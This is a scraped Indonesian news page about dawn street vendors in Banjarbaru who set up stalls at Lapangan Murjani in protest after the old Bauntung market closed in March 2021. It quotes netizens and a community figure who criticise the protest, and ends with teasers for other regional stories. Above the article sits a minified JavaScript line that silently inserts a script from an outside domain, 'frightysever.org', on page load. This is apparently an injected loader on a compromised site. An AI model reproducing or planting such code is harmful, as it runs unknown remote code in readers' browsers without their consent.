(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Aksi protes pedagang kaki lima (PKL) Subuh pasca ditutupnya pasar Bauntung lama yang berada di Jalan A Yani Km 34 dengan berjualan di Lapangan Murjani, dinilai telah mengganggu kenyamanan dan fasilitas umum.
Berbagai tanggapan atas aksi yang dilakukan PKL Subuh terpampang jelas di sosial media. Hal itu terlihat dari komentar netizen di postingan berita Kanalkalimantan.com yang dikutip sebuah akun Facebook bernama “Warga Banjarbaru”.
Berikut tanggapan mereka;
@Gusti Kilfli Martapura: “Merusak pemandangan”
@Ike Ahmad: “Waduh ini gimana Lapangan Murjani kok jadi pasar dadakan gini. Semoga cepat ada solusi terbaik buat pedagang”
@Iyan Boyan : “Memang harus di tindak tegas karena pemerintah dah menyediakan tempat”
Senada, Anwar salah satu tokoh masyarakat, mengaku menyayangkan bentuk protes yang dilakukan oleh PKL Subuh. Sebab menurutnya pemerintah telah memberikan berbagai solusi kepada PKL yang faktanya justru ditolak mentah-mentah.
“Wali Kota Banjarbaru pak Aditya dan Wakil Wali Kota pak Wartono hanya mewarisi masalah dari pemimpin terdahulu, yaitu program relokasi pasar Bauntung. Tapi bersamaan dengan itu, beliau berdua juga telah memberikan solusi kepada para PKL. Intinya pemerintah sudah mencoba memfasilitasi PKL, namun itu ditolak mereka,” terangnya.
Sebagaimana diberitakan, PKL Subuh nekat membuka lapak dagangan mereka di kawasan Lapangan Murjani, Kamis (18/3/2021) pagi. Mereka melakukan aksi tersebut setelah pasar Bauntung lama ditutup total oleh pemerintah sejak malam tadi. Penutupan pasar sendiri merupakan fase akhir dari program relokasi pasar Bauntung yang selama ini selalu tertunda.
Baca juga : Sabu Senilai Rp3,8 Miliar Dimusnahkan Polres Banjarbaru
Adapun PKL Subuh mengklaim bahwa pemerintah tidak memfasilitasi keberadaan mereka. Sehingga aksi nekat ini dilakukan, meski jelas adanya larangan keras berjualan di tempat terlarang jantung Kota Idaman. (Kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, - Asuransi merupakan salah satu bentuk perlindungan yang perlu dimiliki setiap orang. Dengan memiliki… Read More
KANALKALIMANTAN.COM - Peringatan Hari Lupus Sedunia ini diadakan pada tanggal 10 Mei setiap tahunnya. Hari… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Buaya yang kerap muncul di Sungai Pelambuan, Kecamatan Banjarmasin Barat, Kota Banjarmasin,… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More
KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More
This website uses cookies.